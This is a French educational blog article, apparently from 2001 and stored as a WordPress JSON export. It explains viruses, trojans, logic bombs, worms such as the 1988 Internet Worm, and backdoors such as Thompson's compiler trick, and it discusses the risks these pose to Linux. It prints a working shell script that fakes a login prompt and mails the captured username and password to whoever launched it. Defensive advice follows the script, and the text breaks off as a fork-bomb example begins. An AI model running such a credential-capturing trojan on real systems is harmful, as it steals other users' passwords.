{"id":50,"date":"2011-03-01T13:23:42","date_gmt":"2011-03-01T12:23:42","guid":{"rendered":"http:\/\/www.blaess.fr\/christophe\/blog\/?page_id=50"},"modified":"2011-03-01T13:23:42","modified_gmt":"2011-03-01T12:23:42","slug":"virus-nous-sommes-concernes","status":"publish","type":"page","link":"https:\/\/www.blaess.fr\/christophe\/articles\/virus-nous-sommes-concernes\/","title":{"rendered":"Virus&nbsp;: nous sommes concern\u00e9s&nbsp;!"},"content":{"rendered":"<p>Juillet 2001<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">Cet article passe en revue les probl\u00e8mes de s\u00e9curit\u00e9 interne pouvant se pr\u00e9senter sur un syst\u00e8me Linux du seul fait de logiciels agressifs, sans intervention humaine\u00a0: virus, vers, chevaux de Troie, etc. Nous d\u00e9taillerons les diff\u00e9rents types de dangers possibles, en examinant les avantages et les inconv\u00e9nients des logiciels libres dans cette perspective.<\/p>\n<h2>Introduction<\/h2>\n<p style=\"text-align: justify;\">Il existe principalement quatre types de menaces distinctes, ce qui peut semer la confusion dans l&rsquo;esprit de l&rsquo;utilisateur, d&rsquo;autant qu&rsquo;il arrive fr\u00e9quemment qu&rsquo;une attaque s&rsquo;appuie sur plusieurs m\u00e9canismes\u00a0:<\/p>\n<ul>\n<li style=\"text-align: justify;\">Les\u00a0<em>virus<\/em> se reproduisent en infectant le corps de programmes h\u00f4tes\u00a0;<\/li>\n<li style=\"text-align: justify;\">Les\u00a0<em>chevaux de Troie<\/em> (<em>trojan horses<\/em>) ex\u00e9cutent des t\u00e2ches malignes en se dissimulant au sein d&rsquo;une coquille applicative d&rsquo;aspect inoffensif\u00a0;<\/li>\n<li style=\"text-align: justify;\">Les\u00a0<em>vers<\/em> (<em>worms<\/em>) profitent des r\u00e9seaux informatiques pour se propager, par courrier \u00e9lectronique par exemple\u00a0;<\/li>\n<li style=\"text-align: justify;\">Les\u00a0<em>acc\u00e8s cach\u00e9s<\/em> (<em>backdoors<\/em>) permettent \u00e0 un utilisateur externe de prendre le contr\u00f4le d&rsquo;une application par des moyens d\u00e9tourn\u00e9s.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">La classification n&rsquo;est pas toujours tr\u00e8s ais\u00e9e\u00a0; il y a par exemple des programmes que certains observateurs classent dans les virus et d&rsquo;autres dans les vers sans qu&rsquo;une d\u00e9cision d\u00e9finitive puisse \u00eatre prise. Cela n&rsquo;a pas une grande importance dans le cadre de cet article qui veut simplement clarifier les id\u00e9es sur les dangers qui peuvent menacer un syst\u00e8me Linux.<\/p>\n<p style=\"text-align: justify;\">Contrairement \u00e0 ce que certains croient, ces quatre fl\u00e9aux existent d&rsquo;ores et d\u00e9j\u00e0 sous Linux. Certes, les virus trouvent dans ce syst\u00e8me un terrain moins propice \u00e0 leur d\u00e9veloppement que sous Dos par exemple, mais il ne faut pas pour autant n\u00e9gliger le danger pr\u00e9sent. Nous allons donc examiner en d\u00e9tail les risques encourus face \u00e0 chacun de ces m\u00e9canismes.<\/p>\n<h2>Menaces potentielles<\/h2>\n<h3>Virus<\/h3>\n<p style=\"text-align: justify;\">Un virus est un morceau de code install\u00e9 au sein d&rsquo;un programme h\u00f4te, et capable de se r\u00e9pliquer afin d&rsquo;infester un nouveau fichier ex\u00e9cutable. En fait, les virus sont n\u00e9s dans les ann\u00e9es soixante-dix, dans le cadre d&rsquo;un jeu intellectuel en vogue parmi les programmeurs de l&rsquo;\u00e9poque\u00a0: la \u00ab\u00a0<em>core war<\/em>\u00ab\u00a0. Ce jeu est issu des laboratoires Bell AT&amp;T [MARSDEN 00]. Le but du jeu est de faire fonctionner en parall\u00e8le dans un environnement m\u00e9moire limit\u00e9 des petits programmes ayant pour but de se d\u00e9truire les uns les autres. Le syst\u00e8me d&rsquo;exploitation n&rsquo;offrait pas de protection entre les espaces m\u00e9moire des diff\u00e9rents programmes, aussi leur \u00e9tait-il possible de s&rsquo;agresser mutuellement pour essayer de tuer les concurrents. Pour cela certains bombardaient avec des &lsquo;0&rsquo; la zone m\u00e9moire la plus large possible, d&rsquo;autres se d\u00e9pla\u00e7aient en permanence dans l&rsquo;espace d&rsquo;adressage en esp\u00e9rant \u00e9craser le code d&rsquo;un adversaire, certains m\u00eames coop\u00e9raient \u00e0 plusieurs pour \u00e9liminer un ennemi coriace.<\/p>\n<p style=\"text-align: justify;\">Les algorithmes mis en oeuvre pour ce jeu \u00e9taient traduits dans un langage d&rsquo;assemblage sp\u00e9cialement con\u00e7u pour l&rsquo;occasion, le \u00ab\u00a0<em>red code<\/em>\u00ab\u00a0, qui \u00e9tait ex\u00e9cut\u00e9 par l&rsquo;interm\u00e9diaire d&rsquo;un \u00e9mulateur, disponible sur l&rsquo;essentiel des machines existantes. L&rsquo;int\u00e9r\u00eat que l&rsquo;on portait \u00e0 ce jeu \u00e9tait le fruit d&rsquo;une simple curiosit\u00e9 scientifique, comparable \u00e0 l&rsquo;enthousiasme ambiant vis-\u00e0-vis des explorations du Jeu de la Vie de Conway, des fractales, des algorithmes g\u00e9n\u00e9tiques, etc. N\u00e9anmoins, \u00e0 la suite des articles concernant la\u00a0<em>core war<\/em> parus dans le journal\u00a0<em>Scientific American<\/em> [DEWDNEY 84], l&rsquo;in\u00e9vitable se produisit et plusieurs personnes se mirent \u00e0 \u00e9crire des portions de code s&rsquo;auto-r\u00e9pliquant en s&rsquo;accrochant au secteur de d\u00e9marrage des disquettes ou aux fichiers ex\u00e9cutables, tout d&rsquo;abord sur ordinateurs Apple ][, puis MacIntosh et PC.<\/p>\n<p style=\"text-align: justify;\">Le syst\u00e8me d&rsquo;exploitation Ms Dos constituait l&rsquo;environnement de choix pour la prolif\u00e9ration des virus\u00a0: fichiers ex\u00e9cutables statiques au format bien connu, pas de m\u00e9canisme de protection de la m\u00e9moire, aucune s\u00e9curit\u00e9 de droits d&rsquo;acc\u00e8s aux fichiers, g\u00e9n\u00e9ralisation des programmes r\u00e9sidents<em>TSR<\/em> empil\u00e9s en m\u00e9moire, etc. Il faut \u00e9galement ajouter l&rsquo;\u00e9tat d&rsquo;esprit g\u00e9n\u00e9ral des utilisateurs, \u00e9changeant fr\u00e9n\u00e9tiquement des programmes ex\u00e9cutables sur disquettes sans se soucier de la provenance des fichiers.<\/p>\n<p style=\"text-align: justify;\">Dans son expression la plus simple, un virus est donc un petit morceau de code qui sera ex\u00e9cut\u00e9 en suppl\u00e9ment lors du lancement d&rsquo;une application. Il profitera de ce moment pour rechercher d&rsquo;autres fichiers ex\u00e9cutables encore non infect\u00e9s, s&rsquo;y incrustera (de pr\u00e9f\u00e9rence en laissant le programme original intact pour plus de discr\u00e9tion) et se terminera. Lorsqu&rsquo;on lancera le nouveau fichier ex\u00e9cutable, l&rsquo;op\u00e9ration recommencera \u00e0 nouveau. Les virus peuvent disposer d&rsquo;une panoplie impressionnante d&rsquo;armes pour s&rsquo;auto-r\u00e9pliquer. Dans [LUDWIG 91] et [LUDWIG 93] se trouve la description d\u00e9taill\u00e9e de virus pour Dos, disposant de techniques sophistiqu\u00e9es de dissimulation pour \u00e9chapper aux logiciels anti-virus courants\u00a0: encryptage al\u00e9atoire, modification permanente du code du virus, etc. Il est m\u00eame possible de rencontrer des virus mettant en pratique les m\u00e9thodes des algorithmes g\u00e9n\u00e9tiques pour optimiser leurs chances de survie et de reproduction. Des informations similaires peuvent \u00eatre trouv\u00e9es dans un article assez c\u00e9l\u00e8bre\u00a0: [SPAFFORD 94].<\/p>\n<p style=\"text-align: justify;\">Mais il ne faut pas oublier qu&rsquo;au-del\u00e0 d&rsquo;un sujet d&rsquo;exp\u00e9rience en vie artificielle, le virus informatique peut causer d&rsquo;importants d\u00e9g\u00e2ts. Car si le principe de la r\u00e9plication multiple d&rsquo;une portion de code n&rsquo;a pas d&rsquo;autres r\u00e9percussions qu&rsquo;un gaspillage de place (disque et m\u00e9moire), les virus sont g\u00e9n\u00e9ralement employ\u00e9s comme support &#8211; comme moyen de transport &#8211; pour d&rsquo;autres entit\u00e9s d\u00e9j\u00e0 beaucoup plus antipathiques\u00a0: les\u00a0<em>bombes logiques<\/em>, que nous retrouvons \u00e9galement au sein des chevaux de Troie.<\/p>\n<h3>Chevaux de Troie et bombes logiques<\/h3>\n<p style=\"text-align: right;\"><em>Timeo Danaos et dona ferentes &#8211; Je crains les grecs m\u00eame quand ils font un don.<\/em><br \/>\n(Virgile, l&rsquo;<em>\u00c9n\u00e9ide<\/em>, II, 49).<\/p>\n<p style=\"text-align: justify;\">Les Troyens assi\u00e9g\u00e9s ont eu la mauvaise id\u00e9e de faire entrer dans leur ville une immense statue en bois repr\u00e9sentant un cheval, abandonn\u00e9e par les assaillants grecs \u00e0 titre d&rsquo;offrande religieuse. Le cheval de Troie recelait en son flanc un v\u00e9ritable commando qui une fois infiltr\u00e9 dans la place profita de la nuit pour attaquer la ville de l&rsquo;int\u00e9rieur, permettant aux Grecs de gagner la guerre de Troie.<\/p>\n<p style=\"text-align: justify;\">Le terme c\u00e9l\u00e8bre de \u00ab\u00a0cheval de Troie\u00a0\u00bb est souvent employ\u00e9 dans le domaine de la s\u00e9curit\u00e9 informatique pour d\u00e9signer une application\u00a0<em>a priori<\/em>innocente servant, \u00e0 l&rsquo;instar des virus vus plus haut, \u00e0 v\u00e9hiculer un code destructeur nomm\u00e9\u00a0<em>bombe logique<\/em>.<\/p>\n<p style=\"text-align: justify;\">Une bombe logique est une portion de programme volontairement nuisible, dont les effets peuvent \u00eatre tr\u00e8s vari\u00e9s\u00a0:<\/p>\n<ul>\n<li style=\"text-align: justify;\">consommation boulimique des ressources syst\u00e8me (m\u00e9moire, disque, CPU, etc.)\u00a0;<\/li>\n<li style=\"text-align: justify;\">destruction rapide du plus grand nombre de fichiers possible (en les \u00e9crasant pour que leur contenu ne soit pas r\u00e9cup\u00e9rable)\u00a0;<\/li>\n<li style=\"text-align: justify;\">destruction sournoise d&rsquo;un seul fichier de temps \u00e0 autre pour rester invisible le plus longtemps possible\u00a0;<\/li>\n<li style=\"text-align: justify;\">atteinte \u00e0 la s\u00e9curit\u00e9 du syst\u00e8me (mise en place de droits d&rsquo;acc\u00e8s laxistes, transmission du fichier des mots de passe vers une adresse Internet, etc.)\u00a0;<\/li>\n<li style=\"text-align: justify;\">participation de la machine \u00e0 des op\u00e9rations de terrorisme informatique, comme les DDoS (<em>Distributed Denial of Service<\/em>) ainsi qu&rsquo;on en rencontre dans l&rsquo;article d\u00e9j\u00e0 c\u00e9l\u00e8bre [GIBSON 01]\u00a0;<\/li>\n<li style=\"text-align: justify;\">inventaire des num\u00e9ros de licence des applications pr\u00e9sentes sur le disque et transmission chez un \u00e9diteur de logiciel\u2026<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Dans certaines situations la bombe logique peut \u00eatre \u00e9crite pour un syst\u00e8me cible bien sp\u00e9cifique sur lequel elle tentera de voler des informations confidentielles, de d\u00e9truire des fichiers pr\u00e9cis ou de discr\u00e9diter un utilisateur en empruntant son identit\u00e9. Les exemplaires de cette bombe s&rsquo;ex\u00e9cutant sur une autre machine seront totalement inoffensifs.<\/p>\n<p style=\"text-align: justify;\">La bombe logique peut aussi tenter de d\u00e9truire physiquement le syst\u00e8me sur lequel elle se trouve. Les possibilit\u00e9s sont relativement rares, mais existent malgr\u00e9 tout (effacement de m\u00e9moire CMOS, modification de la m\u00e9moire flash des modems, retours en arri\u00e8re prolong\u00e9s sur les tables tra\u00e7antes pouvant entra\u00eener des bourrages destructeurs, d\u00e9placement acc\u00e9l\u00e9r\u00e9 des t\u00eates de lecture des disques\u2026)<\/p>\n<p style=\"text-align: justify;\">Pour filer la m\u00e9taphore explosive, nous dirons qu&rsquo;une bombe logique n\u00e9cessite pour son activation l&rsquo;intervention d&rsquo;un d\u00e9tonateur. En effet, entreprendre des actions d\u00e9vastatrices d\u00e8s le premier lancement d&rsquo;un cheval de Troie ou d&rsquo;un virus est une tactique tr\u00e8s mauvaise du point de vue efficacit\u00e9. Apr\u00e8s son installation, il est pr\u00e9f\u00e9rable que la bombe logique attende un peu avant d&rsquo;exploser, cela augmentera les chances d&rsquo;atteindre d&rsquo;autres syst\u00e8mes dans le cas d&rsquo;une transmission par virus, et dans celui d&rsquo;un cheval de Troie, cela \u00e9vitera que l&rsquo;utilisateur ne fasse trop facilement le rapprochement entre l&rsquo;installation de la nouvelle application et les comportements anormaux de sa machine. Comme les actions n\u00e9fastes, l&rsquo;\u00e9v\u00e8nement d\u00e9clencheur peut \u00eatre tr\u00e8s vari\u00e9\u00a0: d\u00e9lai de dix jours apr\u00e8s l&rsquo;installation, disparition d&rsquo;un compte utilisateur donn\u00e9 (licenciement), clavier et souris inactifs depuis trente minutes, charge importante de la file d&rsquo;impression\u2026 les possibilit\u00e9s ne manquent pas\u00a0! Les chevaux de Troie les plus c\u00e9l\u00e8bres, bien que cela soit un peu galvaud\u00e9 de nos jours sont les \u00e9conomiseurs d&rsquo;\u00e9cran. Derri\u00e8re une fa\u00e7ade attrayante, ces programmes peuvent nuire en toute tranquillit\u00e9, surtout si la bombe logique n&rsquo;est d\u00e9clench\u00e9e qu&rsquo;au bout d&rsquo;une heure par exemple, ce qui assure que l&rsquo;utilisateur n&rsquo;est plus devant son ordinateur.<\/p>\n<p style=\"text-align: justify;\">Un autre exemple fameux de cheval de Troie est le script suivant qui affiche un \u00e9cran de connexion login\/password, envoie les informations \u00e0 l&rsquo;adresse \u00e9lectronique de la personne l&rsquo;ayant lanc\u00e9, puis se termine. S&rsquo;il fonctionne sur un terminal apparemment inutilis\u00e9, ce script permettra de capturer le mot de passe de la prochaine personne essayant de se connecter.<\/p>\n<pre style=\"padding-left: 30px;\">  echo -n \"login: \"\n  read login\n  echo -n \"Password: \"\n  stty -echo\n  read passwd\n  stty sane\n  mail $USER &lt;&lt;- fin\n    login\u00a0: $login\n    passwd\u00a0: $passwd\n  fin\n  echo\n  echo \"Login incorrect\"\n  sleep 1\n  logout<\/pre>\n<p style=\"text-align: justify;\">Pour qu&rsquo;il se d\u00e9connecte en se terminant, il faut le lancer avec la commande\u00a0<code>exec<\/code> du shell. La victime pensera avoir fait une faute de frappe en voyant le message \u00ab\u00a0<code>Login incorrect<\/code>\u00a0\u00bb et se connectera \u00e0 nouveau par le m\u00e9canisme normal cette fois. Des versions plus \u00e9volu\u00e9es peuvent simuler la bo\u00eete de dialogue de connexion sous X11. Pour \u00e9viter ce genre de pi\u00e8ge, il est bon de prendre l&rsquo;habitude, en arrivant sur un terminal, de toujours faire un cycle login\/password fictif, avec des caract\u00e8res quelconques, afin d&rsquo;\u00eatre s\u00fbr d&rsquo;avoir vraiment \u00e0 faire au syst\u00e8me de connexion officiel (c&rsquo;est un r\u00e9flexe que l&rsquo;on peut acqu\u00e9rir rapidement).<\/p>\n<h3>Vers<\/h3>\n<p style=\"text-align: right;\"><em>Et Paul se retrouva sur le Ver, exultant, comme un empereur dominant l&rsquo;univers.<\/em><br \/>\n(F. Herbert \u00ab\u00a0<em>Dune<\/em>\u00ab\u00a0)<\/p>\n<p style=\"text-align: justify;\">Les \u00ab\u00a0<em>vers<\/em>\u00a0\u00bb sont issus du principe des virus. Il s&rsquo;agit de programmes essayant, par r\u00e9plication, d&rsquo;obtenir une diss\u00e9mination maximale. Ils peuvent \u00e9galement contenir, bien que ce ne soit pas leur caract\u00e9ristique premi\u00e8re, une bombe logique \u00e0 d\u00e9clenchement retard\u00e9. La diff\u00e9rence entre vers et virus vient du fait que les vers n&#8217;emploient pas un programme h\u00f4te comme moyen de transport, mais utilisent les possibilit\u00e9s offertes par les r\u00e9seaux, g\u00e9n\u00e9ralement le courrier \u00e9lectronique, pour se propager de machines en machines.\u00a0 Les vers sont d&rsquo;un niveau technique relativement \u00e9lev\u00e9\u00a0; ils utilisent les failles de s\u00e9curit\u00e9 des logiciels proposant des services r\u00e9seau pour forcer l&rsquo;ex\u00e9cution d&rsquo;une copie d&rsquo;eux-m\u00eames sur une machine distante. L&rsquo;arch\u00e9type en est l'\u00a0\u00bb<em>Internet Worm<\/em>\u00a0\u00bb de 1988.<\/p>\n<p style=\"text-align: justify;\">L&rsquo;<em>Internet Worm<\/em> est un exemple de ver pur, ne contenant pas de bombe logique, mais dont l&rsquo;effet d\u00e9vastateur involontaire f\u00fbt quand m\u00eame redoutable. On peut en trouver une description sommaire mais pr\u00e9cise dans [KEHOE 92] ou une analyse d\u00e9taill\u00e9e dans [SPAFFORD 88] ou [EICHIN 89]. On en trouve \u00e9galement une narration moins technique mais plus palpitante dans [STOLL 89] (\u00e0 la suite de l&rsquo;aventure principale de l&rsquo;<em>Oeuf du Coucou<\/em>), o\u00f9 la fr\u00e9n\u00e9sie des \u00e9quipes luttant contre ce ver succ\u00e8de \u00e0 la vague de panique gagnant les administrateurs des syst\u00e8mes touch\u00e9s.<\/p>\n<p style=\"text-align: justify;\">Rapidement d\u00e9crit, ce ver \u00e9tait un programme \u00e9crit par Robert Morris Jr, \u00e9tudiant \u00e0 l&rsquo;universit\u00e9 de Cornell, d\u00e9j\u00e0 connu pour un article sur les probl\u00e8mes de s\u00e9curit\u00e9 des protocoles r\u00e9seaux [MORRIS 85]. Le fait qu&rsquo;il s&rsquo;agisse \u00e9galement du fils d&rsquo;un des responsables de la s\u00e9curit\u00e9 informatique de la NCSC, branche de la NSA, ajouta \u00e0 l&rsquo;impact de cette identification. Le programme lanc\u00e9 en fin d&rsquo;apr\u00e8s-midi le 2 novembre 1988 paralysa une grande partie des syst\u00e8mes reli\u00e9s \u00e0 Internet. Il fonctionnait en plusieurs temps\u00a0:<\/p>\n<ol>\n<li style=\"text-align: justify;\">Une fois un ordinateur infiltr\u00e9, le vers essayait de se propager sur le r\u00e9seau. Pour obtenir des adresses il consultait les fichiers syst\u00e8me et invoquait des utilitaires comme\u00a0<code>netstat<\/code> fournissant des informations sur les interfaces r\u00e9seau.<\/li>\n<li style=\"text-align: justify;\">Il essayait ensuite de p\u00e9n\u00e9trer dans les comptes des utilisateurs. Pour cela il effectuait des comparaisons entre le contenu d&rsquo;un dictionnaire et le fichier des mots de passe. Il essayait aussi d&rsquo;utiliser comme mot de passe des combinaisons du nom de l&rsquo;utilisateur (\u00e0 l&rsquo;envers, r\u00e9p\u00e9t\u00e9, etc.). Cette phase s&rsquo;appuyait donc sur une premi\u00e8re faille de s\u00e9curit\u00e9\u00a0: les mots de passe crypt\u00e9s dans un fichier (<code>\/etc\/passwd<\/code>) accessible en lecture, profitant ainsi des utilisateurs ayant fait un mauvais choix de mot de passe. Cette premi\u00e8re faille a depuis \u00e9t\u00e9 combl\u00e9e par le m\u00e9canisme des\u00a0<code>shadow passwords<\/code>.<\/li>\n<li style=\"text-align: justify;\">S&rsquo;il arrivait \u00e0 forcer des comptes utilisateurs, le vers tentait de trouver des machines offrant un acc\u00e8s direct sans identification par le principe des fichiers\u00a0<code>~\/.rhost<\/code> et\u00a0<code>\/etc\/hosts.equiv<\/code>. Dans ce cas il utilisait le m\u00e9canisme\u00a0<code>rsh<\/code> pour ex\u00e9cuter des instructions sur la machine distante. Il pouvait ainsi se recopier sur le nouvel h\u00f4te et le cycle reprenait.<\/li>\n<li style=\"text-align: justify;\">Sinon, pour essayer de s&rsquo;introduire dans une autre machine, une seconde faille de s\u00e9curit\u00e9 \u00e9tait utilis\u00e9e, en essayant d&rsquo;exploiter un d\u00e9bordement de buffer (voir nos articles sur la programmation s\u00e9curis\u00e9e dans Linux Magazine 23, 24, et 25) pr\u00e9sent dans le d\u00e9mon <code>fingerd<\/code>. Ce bogue permettait l&rsquo;ex\u00e9cution de code \u00e0 distance. Aussi le vers pouvait-il se recopier sur le nouveau syst\u00e8me et recommencer. Cela ne fonctionnait dans la pratique que sur certains types de processeurs.<\/li>\n<li style=\"text-align: justify;\">Enfin, une troisi\u00e8me exploitation de faille de s\u00e9curit\u00e9 \u00e9tait mise en service\u00a0: l&rsquo;utilisation d&rsquo;une option de d\u00e9bogage, active par d\u00e9faut, dans le d\u00e9mon\u00a0<code>sendmail<\/code>, et permettant d&rsquo;envoyer un courrier qui \u00e9tait finalement transmis sur l&rsquo;entr\u00e9e standard du programme indiqu\u00e9 en tant que destinataire. Cette option n&rsquo;aurait jamais due \u00eatre activ\u00e9e sur des machines en exploitation, mais la plupart des administrateurs en ignoraient malheureusement l&rsquo;existence.<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Il faut noter qu&rsquo;une fois que le ver avait trouv\u00e9 le moyen d&rsquo;ex\u00e9cuter quelques instructions sur la machine distante, sa recopie \u00e9tait assez complexe. Elle impliquait la transmission d&rsquo;un petit programme en C, recompil\u00e9 sur place, puis lanc\u00e9. Celui-ci \u00e9tablissait une connexion TCP\/IP avec l&rsquo;ordinateur de d\u00e9part, et r\u00e9cup\u00e9rait les fichiers binaires complets du ver. Ces derniers, pr\u00e9compil\u00e9s, existaient pour plusieurs architectures (Vax et Sun), ils \u00e9taient essay\u00e9s l&rsquo;un apr\u00e8s l&rsquo;autre. De plus le ver faisait preuve de beaucoup de pr\u00e9cautions pour se dissimuler, ne pas laisser de trace, etc. Malheureusement, le m\u00e9canisme qui devait \u00e9viter qu&rsquo;un m\u00eame ordinateur soit infect\u00e9 \u00e0 plusieurs reprises ne fonctionna pas comme pr\u00e9vu, et l&rsquo;aspect nuisible du ver\u00a0<em>Internet 88<\/em>, qui ne contenait pas de bombe logique, se manifesta donc par une forte surcharge des syst\u00e8mes atteints (et notamment un engorgement des courriers \u00e9lectroniques, ce qui entra\u00eena par ailleurs un retard dans la diffusion des rem\u00e8des).<\/p>\n<p style=\"text-align: justify;\">Les vers sont relativement rares, du fait de la complexit\u00e9 de leur r\u00e9alisation. Il ne faut pas les confondre avec un autre type de dangers, de plus en plus courants, les virus se transmettant en pi\u00e8ce attach\u00e9e des courriers \u00e9lectroniques \u00e0 la mani\u00e8re du fameux \u00ab\u00a0<em>ILoveYou<\/em>\u00ab\u00a0. De conception beaucoup plus simple, il s&rsquo;agit en r\u00e9alit\u00e9 de macros \u00e9crites (en Basic) pour des applications de bureautique lanc\u00e9es automatiquement lorsque le courrier est lu. Cela ne fonctionne que sur certains syst\u00e8me d&rsquo;exploitation, lorsque le logiciel de consultation du courrier est configur\u00e9 de mani\u00e8re simpliste. Ces programmes s&rsquo;apparentent beaucoup plus au chevaux de Troie qu&rsquo;aux vers, puisqu&rsquo;ils demandent une action effective de la part de l&rsquo;utilisateur pour \u00eatre lanc\u00e9s.<\/p>\n<h3>Acc\u00e8s cach\u00e9s<\/h3>\n<p style=\"text-align: justify;\">Les acc\u00e8s cach\u00e9s (<em>backdoors<\/em>) peuvent \u00eatre rapproch\u00e9s des chevaux de Troie, mais ils ne sont toutefois pas identiques. Un acc\u00e8s cach\u00e9 permet \u00e0 un utilisateur inform\u00e9 d&rsquo;effectuer une action secr\u00e8te sur un logiciel, afin d&rsquo;en obtenir un comportement diff\u00e9rent. Cela peut s&rsquo;apparenter aux\u00a0<em>cheat codes<\/em> que l&rsquo;on saisit durant un jeu pour disposer de ressources suppl\u00e9mentaires, arriver directement \u00e0 un niveau sup\u00e9rieur, etc. Mais cela concerne \u00e9galement des applications critiques comme l&rsquo;authentification des connexions ou le courrier \u00e9lectronique, qui peuvent offrir un acc\u00e8s dissimul\u00e9 gr\u00e2ce \u00e0 un mot de passe connu du seul concepteur du logiciel.<\/p>\n<p style=\"text-align: justify;\">Le fait de laisser une trappe ouverte sur un logiciel pour pouvoir l&rsquo;utiliser sans passer par la phase d&rsquo;authentification normale est souvent d\u00fb \u00e0 des programmeurs d\u00e9sirant faciliter la phase de d\u00e9bogage, m\u00eame une fois l&rsquo;application install\u00e9e sur le site client. Il s&rsquo;agit parfois d&rsquo;acc\u00e8s officiels disposant de mots de passe par d\u00e9faut (<code>system<\/code>,\u00a0<code>admin<\/code>,\u00a0<code>superuser<\/code>, etc) dont la pr\u00e9sence n&rsquo;est document\u00e9e que de mani\u00e8re obscure ce qui conduit les administrateurs ult\u00e9rieurs \u00e0 les laisser en place.<\/p>\n<p style=\"text-align: justify;\">On se souviendra des diff\u00e9rents acc\u00e8s dissimul\u00e9s permettant de dialoguer avec le coeur du syst\u00e8me du film \u00ab\u00a0<em>Wargame<\/em>\u00ab\u00a0, mais on peut \u00e9galement retrouver des t\u00e9moignages ant\u00e9rieurs relatant de telles pratiques. Dans un article assez incroyable [THOMPSON 84], Ken Thompson, l&rsquo;un des p\u00e8res d&rsquo;Unix, d\u00e9crit un m\u00e9canisme d&rsquo;acc\u00e8s cach\u00e9 qu&rsquo;il avait mis en place sur les syst\u00e8mes Unix plusieurs ann\u00e9es auparavant\u00a0:<\/p>\n<ul>\n<li style=\"text-align: justify;\">Il avait modifi\u00e9 l&rsquo;application\u00a0<code>\/bin\/login<\/code> pour y incorporer une portion de code offrant l&rsquo;acc\u00e8s direct au syst\u00e8me sur saisie d&rsquo;un mot de passe pr\u00e9compil\u00e9 en dur (sans tenir compte de\u00a0<code>\/etc\/passwd<\/code>). Ainsi tout syst\u00e8me fonctionnant avec cette version de\u00a0<code>login<\/code> pouvait-il \u00eatre visit\u00e9 par Thompson.<\/li>\n<li style=\"text-align: justify;\">Seulement, \u00e0 cette \u00e9poque les sources des applications \u00e9taient disponibles (comme de nos jours avec les logiciels libres). Aussi le code source\u00a0<code>login.c<\/code> \u00e9tait pr\u00e9sent sur les syst\u00e8mes Unix, et n&rsquo;importe qui aurait pu voir le code pi\u00e9g\u00e9. Thompson fournissait donc un source <code>login.c<\/code> propre, ne contenant pas la trappe d&rsquo;acc\u00e8s.<\/li>\n<li style=\"text-align: justify;\">Le probl\u00e8me \u00e0 ce niveau \u00e9tait que n&rsquo;importe quel administrateur pouvait recompiler\u00a0<code>login.c<\/code> et effacer la version pi\u00e9g\u00e9e. Aussi Thompson modifia-t-il le compilateur C standard pour qu&rsquo;il ajoute lui-m\u00eame l&rsquo;acc\u00e8s cach\u00e9 lorsqu&rsquo;il s&rsquo;apercevait qu&rsquo;on lui demandait de compiler\u00a0<code>login.c<\/code>.<\/li>\n<li style=\"text-align: justify;\">Mais, \u00e0 nouveau, le code source du compilateur\u00a0<code>cc.c<\/code> \u00e9tait disponible, et n&rsquo;importe qui aurait pu voir les lignes suspectes ou recompiler le compilateur. Il fournissait donc une version innocente des sources du compilateur C, mais le fichier binaire, pr\u00e9alablement trait\u00e9, \u00e9tait pr\u00e9vu pour reconna\u00eetre ses propres fichiers source, et ins\u00e9rait alors le code servant \u00e0 ins\u00e9rer le code servant \u00e0 infecter\u00a0<code>login.c<\/code>\u2026<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Que faire contre ceci\u00a0? Dans l&rsquo;absolu, rien\u00a0! La seule possibilit\u00e9 serait de repartir avec un syst\u00e8me totalement vierge et insoup\u00e7onnable. \u00c0 moins de reconstruire \u00e0 partir de z\u00e9ro une machine dont on cr\u00e9e tout le microcode, le syst\u00e8me d&rsquo;exploitation, les compilateurs, et les utilitaires, rien ne nous permet d&rsquo;\u00eatre s\u00fbrs de l&rsquo;innocuit\u00e9 d&rsquo;une application donn\u00e9e m\u00eame si les sources en sont disponibles.<\/p>\n<h2>Et sous Linux\u00a0?<\/h2>\n<p style=\"text-align: justify;\">Nous avons examin\u00e9 les risques essentiels auxquels un syst\u00e8me quelconque peut \u00eatre expos\u00e9. \u00c0 pr\u00e9sent, il nous faut d\u00e9terminer les menaces qui p\u00e8sent plus particuli\u00e8rement sur les logiciels libres et sur Linux.<\/p>\n<h3>Bombes logiques<\/h3>\n<p style=\"text-align: justify;\">Int\u00e9ressons-nous tout d&rsquo;abord aux d\u00e9g\u00e2ts qu&rsquo;une bombe logique est susceptible de provoquer si elle s&rsquo;ex\u00e9cute sur une station Linux. Naturellement cela varie en fonction de l&rsquo;effet recherch\u00e9 et des privil\u00e8ges de l&rsquo;utilisateur sous l&rsquo;identit\u00e9 duquel elle se d\u00e9clenche.<\/p>\n<p style=\"text-align: justify;\">En ce qui concerne la destruction de fichiers syst\u00e8me ou la consultation de donn\u00e9es confidentielles, deux cas sont possibles. Si la bombe s&rsquo;ex\u00e9cute sous l&rsquo;identit\u00e9\u00a0<em>root<\/em>, elle aura tout pouvoir sur la machine, y compris l&rsquo;\u00e9crasement de toutes les partitions, et les \u00e9ventuelles menaces sur le mat\u00e9riel que nous avons \u00e9voqu\u00e9es plus haut. En revanche, si elle s&rsquo;ex\u00e9cute sous une identit\u00e9 quelconque, elle ne pourra pas \u00eatre plus destructrice qu&rsquo;un utilisateur sans privil\u00e8ge ne le serait. Elle ne pourra d\u00e9truire que les donn\u00e9es appartenant \u00e0 cet utilisateur pr\u00e9cis. En ce cas, la responsabilit\u00e9 de chacun s&rsquo;applique envers ses propres fichiers. Un administrateur syst\u00e8me consciencieux ne r\u00e9alise qu&rsquo;un minimum de t\u00e2ches en \u00e9tant connect\u00e9 sous l&rsquo;identit\u00e9\u00a0<em>root<\/em>, ce qui diminue la probabilit\u00e9 de d\u00e9clencher une bombe logique avec ce compte.<\/p>\n<p style=\"text-align: justify;\">Si le syst\u00e8me Linux prot\u00e8ge relativement bien les donn\u00e9es priv\u00e9es et les acc\u00e8s au mat\u00e9riel, en revanche il reste sensible aux attaques visant simplement \u00e0 le rendre inop\u00e9rant par consommation excessive des ressources. Par exemple, le programme C suivant est tr\u00e8s difficile \u00e0 arr\u00eater, m\u00eame si on le d\u00e9marre depuis un compte utilisateur anodin, car s&rsquo;il n&rsquo;y a pas de limite impos\u00e9e pour le nombre de processus par utilisateur, il va d\u00e9vorer toutes les entr\u00e9es disponibles de la table des processus, et emp\u00eacher toute nouvelle connexion pour essayer de le tuer\u00a0:<\/p>\n<pre style=\"padding-left: 30px;\">#include &lt;signal.h&gt;\n#include 